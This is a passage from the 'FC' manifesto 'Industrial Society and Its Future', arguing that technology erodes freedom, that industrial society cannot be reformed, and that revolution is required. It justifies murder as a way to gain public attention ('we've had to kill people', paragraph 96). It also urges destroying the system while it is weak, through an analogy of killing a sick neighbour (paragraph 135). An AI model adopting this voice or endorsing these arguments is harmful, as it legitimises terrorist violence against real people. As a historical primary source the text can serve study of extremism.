efforts have played only an +insignificant part in the attainment of the goals, feels (through his identification with the movement or organization) as if he +had gone through the power process. This phenomenon was exploited by the fascists, nazis and communists. Our society uses it +too, though less crudely. Example: Manuel Noriega was an irritant to the U.S. (goal: punish Noriega). The U.S. invaded +Panama (effort) and punished Noriega (attainment of goal). Thus the U.S. went through the power process and many +Americans, because of their identification with the U.S., experienced the power process vicariously. Hence the widespread +public approval of the Panama invasion; it gave people a sense of power. [15] We see the same phenomenon in armies, +corporations, political parties, humanitarian organizations, religious or ideological movements. In particular, leftist movements +tend to attract people who are seeking to satisfy their need for power. But for most people identification with a large +organization or a mass movement does not fully satisfy the need for power. +84. Another way in which people satisfy their need for the power process is through surrogate activities. As we explained in +paragraphs 38-40, a surrogate activity is an activity that is directed toward an artificial goal that the individual pursues for the +sake of the “fulfillment” that he gets from pursuing the goal, not because he needs to attain the goal itself. For instance, there is +no practical motive for building enormous muscles, hitting a little ball into a hole or acquiring a complete series of postage +stamps. Yet many people in our society devote themselves with passion to bodybuilding, golf or stamp-collecting. Some people +are more “other-directed” than others, and therefore will more readily attach importance to a surrogate activity simply because +the people around them treat it as important or because society tells them it is important. That is why some people get very +serious about essentially trivial activities such as sports, or bridge, or chess, or arcane scholarly pursuits, whereas others who +are more clear-sighted never see these things as anything but the surrogate activities that they are, and consequently never +attach enough importance to them to satisfy their need for the power process in that way. It only remains to point out that in +many cases a person’s way of earning a living is also a surrogate activity. Not a PURE surrogate activity, since part of the +motive for the activity is to gain the physical necessities and (for some people) social status and the luxuries that advertising +makes them want. But many people put into their work far more effort than is necessary to earn whatever money and status +they require, and this extra effort constitutes a surrogate activity. This extra effort, together with the emotional investment that +accompanies it, is one of the most potent forces acting toward the continual development and perfecting of the system, with +negative consequences for individual freedom (see paragraph 131). Especially, for the most creative scientists and engineers, +work tends to be largely a surrogate activity. This point is so important that it deserves a separate discussion, which we shall +give in a moment (paragraphs 87-92). +85. In this section we have explained how many people in modern society do satisfy their need for the power process to a +greater or lesser extent. But we think that for the majority of people the need for the power process is not fully satisfied. In the +first place, those who have an insatiable drive for status, or who get firmly “hooked” on a surrogate activity, or who identify +strongly enough with a movement or organization to satisfy their need for power in that way, are exceptional personalities. +Others are not fully satisfied with surrogate activities or by identification with an organization (see paragraphs 41, 64). In the +second place, too much control is imposed by the system through explicit regulation or through socialization, which results in a +deficiency of autonomy, and in frustration due to the impossibility of attaining certain goals and the necessity of restraining too +many impulses. +86. But even if most people in industrial-technological society were well satisfied, we (FC) would still be opposed to that form +of society, because (among other reasons) we consider it demeaning to fulfill one’s need for the power process through +surrogate activities or through identification with an organization, rather than through pursuit of real goals. + +The Motives of Scientists +87. Science and technology provide the most important examples of surrogate activities. Some scientists claim that they are +motivated by “curiosity” or by a desire to “benefit humanity.” But it is easy to see that neither of these can be the principal +motive of most scientists. As for “curiosity,” that notion is simply absurd. Most scientists work on highly specialized problems +that are not the object of any normal curiosity. For example, is an astronomer, a mathematician or an entomologist curious +about the properties of isopropyltrimethylmethane? Of course not. Only a chemist is curious about such a thing, and he is +curious about it only because chemistry is his surrogate activity. Is the chemist curious about the appropriate classification of a +new species of beetle? No. That question is of interest only to the entomologist, and he is interested in it only because +entomology is his surrogate activity. If the chemist and the entomologist had to exert themselves seriously to obtain the +physical necessities, and if that effort exercised their abilities in an interesting way but in some nonscientific pursuit, then they +wouldn’t give a damn about isopropyltrimethylmethane or the classification of beetles. Suppose that lack of funds for +postgraduate education had led the chemist to become an insurance broker instead of a chemist. In that case he would have +been very interested in insurance matters but would have cared nothing about isopropyltrimethylmethane. In any case it is not +normal to put into the satisfaction of mere curiosity the amount of time and effort that scientists put into their work. The +“curiosity” explanation for the scientists’ motive just doesn’t stand up. +88. The “benefit of humanity” explanation doesn’t work any better. Some scientific work has no conceivable relation to the +welfare of the human race most of archaeology or comparative linguistics for example. Some other areas of science present +obviously dangerous possibilities. Yet scientists in these areas are just as enthusiastic about their work as those who develop +vaccines or study air pollution. Consider the case of Dr. Edward Teller, who had an obvious emotional involvement in +promoting nuclear power plants. Did this involvement stem from a desire to benefit humanity? If so, then why didn’t Dr. Teller +get emotional about other “humanitarian” causes? If he was such a humanitarian then why did he help to develop the H-bomb? +As with many other scientific achievements, it is very much open to question whether nuclear power plants actually do benefit +humanity. Does the cheap electricity outweigh the accumulating waste and the risk of accidents? Dr. Teller saw only one side +of the question. Clearly his emotional involvement with nuclear power arose not from a desire to “benefit humanity” but from a +personal fulfillment he got from his work and from seeing it put to practical use. +89. The same is true of scientists generally. With possible rare exceptions, their motive is neither curiosity nor a desire to +benefit humanity but the need to go through the power process: to have a goal (a scientific problem to solve), to make an effort +(research) and to attain the goal (solution of the problem.) Science is a surrogate activity because scientists work mainly for the +fulfillment they get out of the work itself. +90. Of course, it’s not that simple. Other motives do play a role for many scientists. Money and status for example. Some +scientists may be persons of the type who have an insatiable drive for status (see paragraph 79) and this may provide much of +the motivation for their work. No doubt the majority of scientists, like the majority of the general population, are more or less +susceptible to advertising and marketing techniques and need money to satisfy their craving for goods and services. Thus +science is not a PURE surrogate activity. But it is in large part a surrogate activity. +91. Also, science and technology constitute a power mass movement, and many scientists gratify their need for power through +identification with this mass movement (see paragraph 83). +92. Thus science marches on blindly, without regard to the real welfare of the human race or to any other standard, obedient +only to the psychological needs of the scientists and of the government officials and corporation executives who provide the +funds for research. + +The Nature of Freedom +93. We are going to argue that industrial-technological society cannot be reformed in such a way as to prevent it from +progressively narrowing the sphere of human freedom. But, because “freedom” is a word that can be interpreted in many ways, +we must first make clear what kind of freedom we are concerned with. +94. By “freedom” we mean the opportunity to go through the power process, with real goals not the artificial goals of surrogate +activities, and without interference, manipulation or supervision from anyone, especially from any large organization. Freedom +means being in control (either as an individual or as a member of a SMALL group) of the life-and-death issues of one’s +existence; food, clothing, shelter and defense against whatever threats there may be in one’s environment. Freedom means +having power; not the power to control other people but the power to control the circumstances of one’s own life. One does not +have freedom if anyone else (especially a large organization) has power over one, no matter how benevolently, tolerantly and +permissively that power may be exercised. It is important not to confuse freedom with mere permissiveness (see paragraph 72). +95. It is said that we live in a free society because we have a certain number of constitutionally guaranteed rights. But these are +not as important as they seem. The degree of personal freedom that exists in a society is determined more by the economic and +technological structure of the society than by its laws or its form of government. [16] Most of the Indian nations of New +England were monarchies, and many of the cities of the Italian Renaissance were controlled by dictators. But in reading about +these societies one gets the impression that they allowed far more personal freedom than our society does. In part this was +because they lacked efficient mechanisms for enforcing the ruler’s will: There were no modern, well-organized police forces, +no rapid long-distance communications, no surveillance cameras, no dossiers of information about the lives of average citizens. +Hence it was relatively easy to evade control. +96. As for our constitutional rights, consider for example that of freedom of the press. We certainly don’t mean to knock that +right; it is very important tool for limiting concentration of political power and for keeping those who do have political power +in line by publicly exposing any misbehavior on their part. But freedom of the press is of very little use to the average citizen +as an individual. The mass media are mostly under the control of large organizations that are integrated into the system. +Anyone who has a little money can have something printed, or can distribute it on the Internet or in some such way, but what +he has to say will be swamped by the vast volume of material put out by the media, hence it will have no practical effect. To +make an impression on society with words is therefore almost impossible for most individuals and small groups. Take us (FC) +for example. If we had never done anything violent and had submitted the present writings to a publisher, they probably would +not have been accepted. If they had been accepted and published, they probably would not have attracted many readers, +because it’s more fun to watch the entertainment put out by the media than to read a sober essay. Even if these writings had had +many readers, most of these readers would soon have forgotten what they had read as their minds were flooded by the mass of +material to which the media expose them. In order to get our message before the public with some chance of making a lasting +impression, we’ve had to kill people. +97. Constitutional rights are useful up to a point, but they do not serve to guarantee much more than what might be called the +bourgeois conception of freedom. According to the bourgeois conception, a “free” man is essentially an element of a social +machine and has only a certain set of prescribed and delimited freedoms; freedoms that are designed to serve the needs of the +social machine more than those of the individual. Thus the bourgeois’s “free” man has economic freedom because that +promotes growth and progress; he has freedom of the press because public criticism restrains misbehavior by political leaders; +he has a right to a fair trial because imprisonment at the whim of the powerful would be bad for the system. This was clearly +the attitude of Simon Bolivar. To him, people deserved liberty only if they used it to promote progress (progress as conceived +by the bourgeois). Other bourgeois thinkers have taken a similar view of freedom as a mere means to collective ends. Chester +C. Tan, “Chinese Political Thought in the Twentieth Century,” page 202, explains the philosophy of the Kuomintang leader Hu +Han-min: “An individual is granted rights because he is a member of society and his community life requires such rights. By +community Hu meant the whole society of the nation.” And on page 259 Tan states that according to Carsum Chang (Chang +Chun-mai, head of the State Socialist Party in China) freedom had to be used in the interest of the state and of the people as a +whole. But what kind of freedom does one have if one can use it only as someone else prescribes? FC’s conception of freedom +is not that of Bolivar, Hu, Chang or other bourgeois theorists. The trouble with such theorists is that they have made the +development and application of social theories their surrogate activity. Consequently the theories are designed to serve the +needs of the theorists more than the needs of any people who may be unlucky enough to live in a society on which the theories +are imposed. +98. One more point to be made in this section: It should not be assumed that a person has enough freedom just because he +SAYS he has enough. Freedom is restricted in part by psychological controls of which people are unconscious, and moreover +many people’s ideas of what constitutes freedom are governed more by social convention than by their real needs. For +example, it’s likely that many leftists of the oversocialized type would say that most people, including themselves, are +socialized too little rather than too much, yet the oversocialized leftist pays a heavy psychological price for his high level of +socialization. + +Some Principles of History +99. Think of history as being the sum of two components: an erratic component that consists of unpredictable events that +follow no discernible pattern, and a regular component that consists of long-term historical trends. Here we are concerned with +the long-term trends. +100. FIRST PRINCIPLE. If a SMALL change is made that affects a long-term historical trend, then the effect of that change +will almost always be transitory -- the trend will soon revert to its original state. (Example: A reform movement designed to +clean up political corruption in a society rarely has more than a short-term effect; sooner or later the reformers relax and +corruption creeps back in. The level of political corruption in a given society tends to remain constant, or to change only slowly +with the evolution of the society. Normally, a political cleanup will be permanent only if accompanied by widespread social +changes; a SMALL change in the society won’t be enough.) If a small change in a long-term historical trend appears to be +permanent, it is only because the change acts in the direction in which the trend is already moving, so that the trend is not +altered by only pushed a step ahead. +101. The first principle is almost a tautology. If a trend were not stable with respect to small changes, it would wander at +random rather than following a definite direction; in other words it would not be a long-term trend at all. +102. SECOND PRINCIPLE. If a change is made that is sufficiently large to alter permanently a long-term historical trend, then +it will alter the society as a whole. In other words, a society is a system in which all parts are interrelated, and you can’t +permanently change any important part without changing all other parts as well. +103. THIRD PRINCIPLE. If a change is made that is large enough to alter permanently a long-term trend, then the +consequences for the society as a whole cannot be predicted in advance. (Unless various other societies have passed through +the same change and have all experienced the same consequences, in which case one can predict on empirical grounds that +another society that passes through the same change will be like to experience similar consequences.) +104. FOURTH PRINCIPLE. A new kind of society cannot be designed on paper. That is, you cannot plan out a new form of +society in advance, then set it up and expect it to function as it was designed to do. +105. The third and fourth principles result from the complexity of human societies. A change in human behavior will affect the +economy of a society and its physical environment; the economy will affect the environment and vice versa, and the changes in +the economy and the environment will affect human behavior in complex, unpredictable ways; and so forth. The network of +causes and effects is far too complex to be untangled and understood. +106. FIFTH PRINCIPLE. People do not consciously and rationally choose the form of their society. Societies develop through +processes of social evolution that are not under rational human control. +107. The fifth principle is a consequence of the other four. +108. To illustrate: By the first principle, generally speaking an attempt at social reform either acts in the direction in which the +society is developing anyway (so that it merely accelerates a change that would have occurred in any case) or else it has only a +transitory effect, so that the society soon slips back into its old groove. To make a lasting change in the direction of +development of any important aspect of a society, reform is insufficient and revolution is required. (A revolution does not +necessarily involve an armed uprising or the overthrow of a government.) By the second principle, a revolution never changes +only one aspect of a society, it changes the whole society; and by the third principle changes occur that were never expected or +desired by the revolutionaries. By the fourth principle, when revolutionaries or utopians set up a new kind of society, it never +works out as planned. +109. The American Revolution does not provide a counterexample. The American “Revolution” was not a revolution in our +sense of the word, but a war of independence followed by a rather far-reaching political reform. The Founding Fathers did not +change the direction of development of American society, nor did they aspire to do so. They only freed the development of +American society from the retarding effect of British rule. Their political reform did not change any basic trend, but only +pushed American political culture along its natural direction of development. British society, of which American society was +an offshoot, had been moving for a long time in the direction of representative democracy. And prior to the War of +Independence the Americans were already practicing a significant degree of representative democracy in the colonial +assemblies. The political system established by the Constitution was modeled on the British system and on the colonial +assemblies. With major alteration, to be sure -- there is no doubt that the Founding Fathers took a very important step. But it +was a step along the road that English-speaking world was already traveling. The proof is that Britain and all of its colonies +that were populated predominantly by people of British descent ended up with systems of representative democracy essentially +similar to that of the United States. If the Founding Fathers had lost their nerve and declined to sign the Declaration of +Independence, our way of life today would not have been significantly different. Maybe we would have had somewhat closer +ties to Britain, and would have had a Parliament and Prime Minister instead of a Congress and President. No big deal. Thus the +American Revolution provides not a counterexample to our principles but a good illustration of them. +110. Still, one has to use common sense in applying the principles. They are expressed in imprecise language that allows +latitude for interpretation, and exceptions to them can be found. So we present these principles not as inviolable laws but as +rules of thumb, or guides to thinking, that may provide a partial antidote to naive ideas about the future of society. The +principles should be borne constantly in mind, and whenever one reaches a conclusion that conflicts with them one should +carefully reexamine one’s thinking and retain the conclusion only if one has good, solid reasons for doing so. + +Industrial-Technological Society Cannot Be Reformed +111. The foregoing principles help to show how hopelessly difficult it would be to reform the industrial system in such a way +as to prevent it from progressively narrowing our sphere of freedom. There has been a consistent tendency, going back at least +to the Industrial Revolution for technology to strengthen the system at a high cost in individual freedom and local autonomy. +Hence any change designed to protect freedom from technology would be contrary to a fundamental trend in the development +of our society. Consequently, such a change either would be a transitory one -- soon swamped by the tide of history -- or, if +large enough to be permanent would alter the nature of our whole society. This by the first and second principles. Moreover, +since society would be altered in a way that could not be predicted in advance (third principle) there would be great risk. +Changes large enough to make a lasting difference in favor of freedom would not be initiated because it would be realized that +they would gravely disrupt the system. So any attempts at reform would be too timid to be effective. Even if changes large +enough to make a lasting difference were initiated, they would be retracted when their disruptive effects became apparent. +Thus, permanent changes in favor of freedom could be brought about only by persons prepared to accept radical, dangerous +and unpredictable alteration of the entire system. In other words by revolutionaries, not reformers. +112. People anxious to rescue freedom without sacrificing the supposed benefits of technology will suggest naive schemes for +some new form of society that would reconcile freedom with technology. Apart from the fact that people who make such +suggestions seldom propose any practical means by which the new form of society could be set up in the first place, it follows +from the fourth principle that even if the new form of society could be once established, it either would collapse or would give +results very different from those expected. +113. So even on very general grounds it seems highly improbable that any way of changing society could be found that would +reconcile freedom with modern technology. In the next few sections we will give more specific reasons for concluding that +freedom and technological progress are incompatible. + +Restriction of Freedom is Unavoidable in Industrial Society +114. As explained in paragraphs 65-67, 70-73, modern man is strapped down by a network of rules and regulations, and his +fate depends on the actions of persons remote from him whose decisions he cannot influence. This is not accidental or a result +of the arbitrariness of arrogant bureaucrats. It is necessary and inevitable in any technologically advanced society. The system +HAS TO regulate human behavior closely in order to function. At work people have to do what they are told to do, otherwise +production would be thrown into chaos. Bureaucracies HAVE TO be run according to rigid rules. To allow any substantial +personal discretion to lower-level bureaucrats would disrupt the system and lead to charges of unfairness due to differences in +the way individual bureaucrats exercised their discretion. It is true that some restrictions on our freedom could be eliminated, +but GENERALLY SPEAKING the regulation of our lives by large organizations is necessary for the functioning of industrialtechnological society. The result is a sense of powerlessness on the part of the average person. It may be, however, that formal +regulations will tend increasingly to be replaced by psychological tools that make us want to do what the system requires of us. +(Propaganda [14], educational techniques, “mental health” programs, etc.) +115. The system HAS TO force people to behave in ways that are increasingly remote from the natural pattern of human +behavior. For example, the system needs scientists, mathematicians and engineers. It can’t function without them. So heavy +pressure is put on children to excel in these fields. It isn’t natural for an adolescent human being to spend the bulk of his time +sitting at a desk absorbed in study. A normal adolescent wants to spend his time in active contact with the real world. Among +primitive peoples the things that children are trained to do tend to be in reasonable harmony with natural human impulses. +Among the American Indians, for example, boys were trained in active outdoor pursuits -- just the sort of thing that boys like. +But in our society children are pushed into studying technical subjects, which most do grudgingly. +[[116 not used.]] +117. In any technologically advanced society the individual’s fate MUST depend on decisions that he personally cannot +influence to any great extent. A technological society cannot be broken down into small, autonomous communities, because +production depends on the cooperation of very large numbers of people. When a decision affects, say, a million people, then +each of the affected individuals has, on the average, only a one-millionth share in making the decision. What usually happens +in practice is that decisions are made by public officials or corporation executives, or by technical specialists, but even when +the public votes on a decision the number of voters ordinarily is too large for the vote of any one individual to be significant. +[17] Thus most individuals are unable to influence measurably the major decisions that affect their lives. There is no +conceivable way to remedy this in a technologically advanced society. The system tries to “solve” this problem by using +propaganda to make people WANT the decisions that have been made for them, but even if this “solution” were completely +successful in making people feel better, it would be demeaning. +118. Conservatives and some others advocate more “local autonomy.” Local communities once did have autonomy, but such +autonomy becomes less and less possible as local communities become more enmeshed with and dependent on large-scale +systems like public utilities, computer networks, highway systems, the mass communications media, the modern health care +system. Also operating against autonomy is the fact that technology applied in one location often affects people at other +locations far way. Thus pesticide or chemical use near a creek may contaminate the water supply hundreds of miles +downstream, and the greenhouse effect affects the whole world. +119. The system does not and cannot exist to satisfy human needs. Instead, it is human behavior that has to be modified to fit +the needs of the system. This has nothing to do with the political or social ideology that may pretend to guide the technological +system. It is the fault of technology, because the system is guided not by ideology but by technical necessity. [18] Of course the +system does satisfy many human needs, but generally speaking it does this only to the extend that it is to the advantage of the +system to do it. It is the needs of the system that are paramount, not those of the human being. For example, the system +provides people with food because the system couldn’t function if everyone starved; it attends to people’s psychological needs +whenever it can CONVENIENTLY do so, because it couldn’t function if too many people became depressed or rebellious. But +the system, for good, solid, practical reasons, must exert constant pressure on people to mold their behavior to the needs of the +system. To much waste accumulating? The government, the media, the educational system, environmentalists, everyone +inundates us with a mass of propaganda about recycling. Need more technical personnel? A chorus of voices exhorts kids to +study science. No one stops to ask whether it is inhumane to force adolescents to spend the bulk of their time studying subjects +most of them hate. When skilled workers are put out of a job by technical advances and have to undergo “retraining,” no one +asks whether it is humiliating for them to be pushed around in this way. It is simply taken for granted that everyone must bow +to technical necessity. and for good reason: If human needs were put before technical necessity there would be economic +problems, unemployment, shortages or worse. The concept of “mental health” in our society is defined largely by the extent to +which an individual behaves in accord with the needs of the system and does so without showing signs of stress. +120. Efforts to make room for a sense of purpose and for autonomy within the system are no better than a joke. For example, +one company, instead of having each of its employees assemble only one section of a catalogue, had each assemble a whole +catalogue, and this was supposed to give them a sense of purpose and achievement. Some companies have tried to give their +employees more autonomy in their work, but for practical reasons this usually can be done only to a very limited extent, and in +any case employees are never given autonomy as to ultimate goals -- their “autonomous” efforts can never be directed toward +goals that they select personally, but only toward their employer’s goals, such as the survival and growth of the company. Any +company would soon go out of business if it permitted its employees to act otherwise. Similarly, in any enterprise within a +socialist system, workers must direct their efforts toward the goals of the enterprise, otherwise the enterprise will not serve its +purpose as part of the system. Once again, for purely technical reasons it is not possible for most individuals or small groups to +have much autonomy in industrial society. Even the small-business owner commonly has only limited autonomy. Apart from +the necessity of government regulation, he is restricted by the fact that he must fit into the economic system and conform to its +requirements. For instance, when someone develops a new technology, the small- business person often has to use that +technology whether he wants to or not, in order to remain competitive. + +The ‘Bad’ Parts of Technology Cannot Be Separated from the ‘Good’ Parts +121. A further reason why industrial society cannot be reformed in favor of freedom is that modern technology is a unified +system in which all parts are dependent on one another. You can’t get rid of the “bad” parts of technology and retain only the +“good” parts. Take modern medicine, for example. Progress in medical science depends on progress in chemistry, physics, +biology, computer science and other fields. Advanced medical treatments require expensive, high-tech equipment that can be +made available only by a technologically progressive, economically rich society. Clearly you can’t have much Progress in +medicine without the whole technological system and everything that goes with it. +122. Even if medical progress could be maintained without the rest of the technological system, it would by itself bring certain +evils. Suppose for example that a cure for diabetes is discovered. People with a genetic tendency to diabetes will then be able to +survive and reproduce as well as anyone else. Natural selection against genes for diabetes will cease and such genes will spread +throughout the population. (This may be occurring to some extent already, since diabetes, while not curable, can be controlled +through use of insulin.) The same thing will happen with many other diseases susceptibility to which is affected by genetic +degradation of the population. The only solution will be some sort of eugenics program or extensive genetic engineering of +human beings, so that man in the future will no longer be a creation of nature, or of chance, or of God (depending on your +religious or philosophical opinions), but a manufactured product. +123. If you think that big government interferes in your life too much NOW, just wait till the government starts regulating the +genetic constitution of your children. Such regulation will inevitably follow the introduction of genetic engineering of human +beings, because the consequences of unregulated genetic engineering would be disastrous. [19] +124. The usual response to such concerns is to talk about “medical ethics.” But a code of ethics would not serve to protect +freedom in the face of medical progress; it would only make matters worse. A code of ethics applicable to genetic engineering +would be in effect a means of regulating the genetic constitution of human beings. Somebody (probably the upper-middle class, +mostly) would decide that such and such applications of genetic engineering were “ethical”. and others were not, so that in +effect they would be imposing their own values on the genetic constitution of the population at large. Even if a code of ethics +were chosen on a completely democratic basis, the majority would be imposing their own values on any minorities who might +have a different idea of what constituted an “ethical” use of genetic engineering. The only code of ethics that would truly +protect freedom would be one that prohibited ANY genetic engineering of human beings, and you can be sure that no such +code will ever be applied in a technological society. No code that reduced genetic engineering to a minor role could stand up +for long, because the temptation presented by the immense power of biotechnology would be irresistible, especially since to the +majority of people many of its applications will seem obviously and unequivocally good (eliminating physical and mental +diseases, giving people the abilities they need to get along in today’s world). Inevitably, genetic engineering will be used +extensively, but only in ways consistent with the needs of the industrial-technological system. [20] + +Technology is a More Powerful Social Force than the Aspiration for Freedom +125. It is not possible to make a LASTING compromise between technology and freedom, because technology is by far the +more powerful social force and continually encroaches on freedom through REPEATED compromises. Imagine the case of +two neighbors, each of whom at the outset owns the same amount of land, but one of whom is more powerful than the other. +The powerful one demands a piece of the other’s land. The weak one refuses. The powerful one says, “OK, let’s compromise. +Give me half of what I asked.” The weak one has little choice but to give in. Some time later the powerful neighbor demands +another piece of land, again there is a compromise, and so forth. By forcing a long series of compromises on the weaker man, +the powerful one eventually gets all of his land. So it goes in the conflict between technology and freedom. +126. Let us explain why technology is a more powerful social force than the aspiration for freedom. +127. A technological advance that appears not to threaten freedom often turns out to threaten it very seriously later on. For +example, consider motorized transport. A walking man formerly could go where he pleased, go at his own pace without +observing any traffic regulations, and was independent of technological support-systems. When motor vehicles were +introduced they appeared to increase man’s freedom. They took no freedom away from the walking man, no one had to have an +automobile if he didn’t want one, and anyone who did choose to buy an automobile could travel much faster and farther than a +walking man. But the introduction of motorized transport soon changed society in such a way as to restrict greatly man’s +freedom of locomotion. When automobiles became numerous, it became necessary to regulate their use extensively. In a car, +especially in densely populated areas, one cannot just go where one likes at one’s own pace one’s movement is governed by the +flow of traffic and by various traffic laws. One is tied down by various obligations: license requirements, driver test, renewing +registration, insurance, maintenance required for safety, monthly payments on purchase price. Moreover, the use of motorized +transport is no longer optional. Since the introduction of motorized transport the arrangement of our cities has changed in such +a way that the majority of people no longer live within walking distance of their place of employment, shopping areas and +recreational opportunities, so that they HAVE TO depend on the automobile for transportation. Or else they must use public +transportation, in which case they have even less control over their own movement than when driving a car. Even the walker’s +freedom is now greatly restricted. In the city he continually has to stop to wait for traffic lights that are designed mainly to +serve auto traffic. In the country, motor traffic makes it dangerous and unpleasant to walk along the highway. (Note this +important point that we have just illustrated with the case of motorized transport: When a new item of technology is introduced +as an option that an individual can accept or not as he chooses, it does not necessarily REMAIN optional. In many cases the +new technology changes society in such a way that people eventually find themselves FORCED to use it.) +128. While technological progress AS A WHOLE continually narrows our sphere of freedom, each new technical advance +CONSIDERED BY ITSELF appears to be desirable. Electricity, indoor plumbing, rapid long-distance communications ... how +could one argue against any of these things, or against any other of the innumerable technical advances that have made modern +society? It would have been absurd to resist the introduction of the telephone, for example. It offered many advantages and no +disadvantages. Yet, as we explained in paragraphs 59-76, all these technical advances taken together have created a world in +which the average man’s fate is no longer in his own hands or in the hands of his neighbors and friends, but in those of +politicians, corporation executives and remote, anonymous technicians and bureaucrats whom he as an individual has no power +to influence. [21] The same process will continue in the future. Take genetic engineering, for example. Few people will resist +the introduction of a genetic technique that eliminates a hereditary disease. It does no apparent harm and prevents much +suffering. Yet a large number of genetic improvements taken together will make the human being into an engineered product +rather than a free creation of chance (or of God, or whatever, depending on your religious beliefs). +129. Another reason why technology is such a powerful social force is that, within the context of a given society, technological +progress marches in only one direction; it can never be reversed. Once a technical innovation has been introduced, people +usually become dependent on it, so that they can never again do without it, unless it is replaced by some still more advanced +innovation. Not only do people become dependent as individuals on a new item of technology, but, even more, the system as a +whole becomes dependent on it. (Imagine what would happen to the system today if computers, for example, were eliminated.) +Thus the system can move in only one direction, toward greater technologization. Technology repeatedly forces freedom to +take a step back, but technology can never take a step back -- short of the overthrow of the whole technological system. +130. Technology advances with great rapidity and threatens freedom at many different points at the same time (crowding, rules +and regulations, increasing dependence of individuals on large organizations, propaganda and other psychological techniques, +genetic engineering, invasion of privacy through surveillance devices and computers, etc.). To hold back any ONE of the +threats to freedom would require a long and difficult social struggle. Those who want to protect freedom are overwhelmed by +the sheer number of new attacks and the rapidity with which they develop, hence they become apathetic and no longer resist. +To fight each of the threats separately would be futile. Success can be hoped for only by fighting the technological system as a +whole; but that is revolution, not reform. +131. Technicians (we use this term in its broad sense to describe all those who perform a specialized task that requires training) +tend to be so involved in their work (their surrogate activity) that when a conflict arises between their technical work and +freedom, they almost always decide in favor of their technical work. This is obvious in the case of scientists, but it also appears +elsewhere: Educators humanitarian groups, conservation organizations do not hesitate to use propaganda or other psychological +techniques to help them achieve their laudable ends. Corporations and government agencies, when they find it useful, do not +hesitate to collect information about individuals without regard to their privacy. Law enforcement agencies are frequently +inconvenienced by the constitutional rights of suspects and often of completely innocent persons, and they do whatever they +can do legally (or sometimes illegally) to restrict or circumvent those rights. Most of these educators, government officials and +law officers believe in freedom, privacy and constitutional rights, but when these conflict with their work, they usually feel that +their work is more important. +132. It is well known that people generally work better and more persistently when striving for a reward than when attempting +to avoid a punishment or negative outcome. Scientists and other technicians are motivated mainly by the rewards they get +through their work. But those who oppose technological invasions of freedom are working to avoid a negative outcome, +consequently there are few who work persistently and well at this discouraging task. If reformers ever achieved a signal victory +that seemed to set up a solid barrier against further erosion of freedom through technical progress, most would tend to relax and +turn their attention to more agreeable pursuits. But the scientists would remain busy in their laboratories, and technology as it +progresses would find ways, in spite of any barriers, to exert more and more control over individuals and make them always +more dependent on the system. +133. No social arrangements, whether laws, institutions, customs or ethical codes, can provide permanent protection against +technology. History shows that all social arrangements are transitory; they all change or break down eventually. But +technological advances are permanent within the context of a given civilization. Suppose for example that it were possible to +arrive at some social arrangements that would prevent genetic engineering from being applied to human beings, or prevent it +from being applied in such a way as to threaten freedom and dignity. Still, the technology would remain waiting. Sooner or +later the social arrangement would break down. Probably sooner, given the pace of change in our society. Then genetic +engineering would begin to invade our sphere of freedom. and this invasion would be irreversible (short of a breakdown of +technological civilization itself). Any illusions about achieving anything permanent through social arrangements should be +dispelled by what is currently happening with environmental legislation. A few years ago its seemed that there were secure +legal barriers preventing at least SOME of the worst forms of environmental degradation. A change in the political wind, and +those barriers begin to crumble. +134. For all of the foregoing reasons, technology is a more powerful social force than the aspiration for freedom. But this +statement requires an important qualification. It appears that during the next several decades the industrial-technological +system will be undergoing severe stresses due to economic and environmental problems, and especially due to problems of +human behavior (alienation, rebellion, hostility, a variety of social and psychological difficulties). We hope that the stresses +through which the system is likely to pass will cause it to break down, or at least will weaken it sufficiently so that a revolution +against it becomes possible. If such a revolution occurs and is successful, then at that particular moment the aspiration for +freedom will have proved more powerful than technology. +135. In paragraph 125 we used an analogy of a weak neighbor who is left destitute by a strong neighbor who takes all his land +by forcing on him a series of compromises. But suppose now that the strong neighbor gets sick, so that he is unable to defend +himself. The weak neighbor can force the strong one to give him his land back, or he can kill him. If he lets the strong man +survive and only forces him to give the land back, he is a fool, because when the strong man gets well he will again take all the +land for himself. The only sensible alternative for the weaker man is to kill the strong one while he has the chance. In the same +way, while the industrial system is sick we must destroy it. If we compromise with it and let it recover from its sickness, it will +eventually wipe out all of our freedom. + +Simpler Social Problems Have Proved Intractable +136. If anyone still imagines that it would be possible to reform the system in such a way as to protect freedom from +technology, let him consider how clumsily and for the most part unsuccessfully our society has dealt with other social problems +that are far more simple and straightforward. Among other things, the system has failed to stop environmental degradation, +political corruption, drug trafficking or domestic abuse. +137. Take our environmental problems, for example. Here the conflict of values is straightforward: economic expedience now +versus saving some of our natural resources for our grandchildren. [22] But on this subject we get only a lot of blather and +obfuscation from the people who have power, and nothing like a clear, consistent line of action, and we keep on piling up +environmental problems that our grandchildren will have to live with. Attempts to resolve the environmental issue consist of +struggles and compromises between different factions, some of which are ascendant at one moment, others at another moment. +The line of struggle changes with the shifting currents of public opinion. This is not a rational process, nor is it one that is +likely to lead to a timely and successful solution to the problem. Major social problems, if they get “solved” at all, are rarely or +never solved through any rational, comprehensive plan. They just work themselves out through a process in which various +competing groups pursuing their own (usually short-term) self-interest [23] arrive (mainly by luck) at some more or less stable +modus vivendi. In fact, the principles we formulated in paragraphs 100-106 make it seem doubtful that rational long-term +social planning can EVER be successful. +138. Thus it is clear that the human race has at best a very limited capacity for solving even relatively straightforward social +problems. How then is it going to solve the far more difficult and subtle problem of reconciling freedom with technology? +Technology presents clear-cut material advantages, whereas freedom is an abstraction that means different things to different +people. and its loss is easily obscured by propaganda and fancy talk. +139. And note this important difference: It is conceivable that our environmental problems (for example) may some day be +settled through a rational, comprehensive plan, but if this happens it will be only because it is in the long-term interest of the +system to solve these problems. But it is NOT in the interest of the system to preserve freedom or small-group autonomy. On +the contrary, it is in the interest of the system to bring human behavior under control to the greatest possible extent. [24] Thus, +while practical considerations may eventually force the system to take a rational, prudent approach to environmental problems, +equally practical considerations will force the system to regulate human behavior ever more closely (preferably by indirect +means that will disguise the encroachment on freedom). This isn’t just our opinion. Eminent social scientists (e.g. James Q. +Wilson) have stressed the importance of “socializing” people more effectively. + +Revolution is Easier than Reform +140. We hope we have convinced the reader that the system cannot be reformed in such a way as to reconcile freedom with +technology. The only way out is to dispense with the industrial-technological system altogether. This implies revolution, not +necessarily an armed uprising, but certainly a radical and fundamental change in the nature of society. 141. People tend to +assume that because a revolution involves a much greater change than reform does, it is more difficult to bring about than +reform is. Actually, under certain circumstances revolution is much easier than reform. The reason is that a revolutionary +movement can inspire an intensity of commitment that a reform movement cannot inspire. A reform movement merely offers +to solve a particular social problem. A revolutionary movement offers to solve all problems at one stroke and create a whole +new 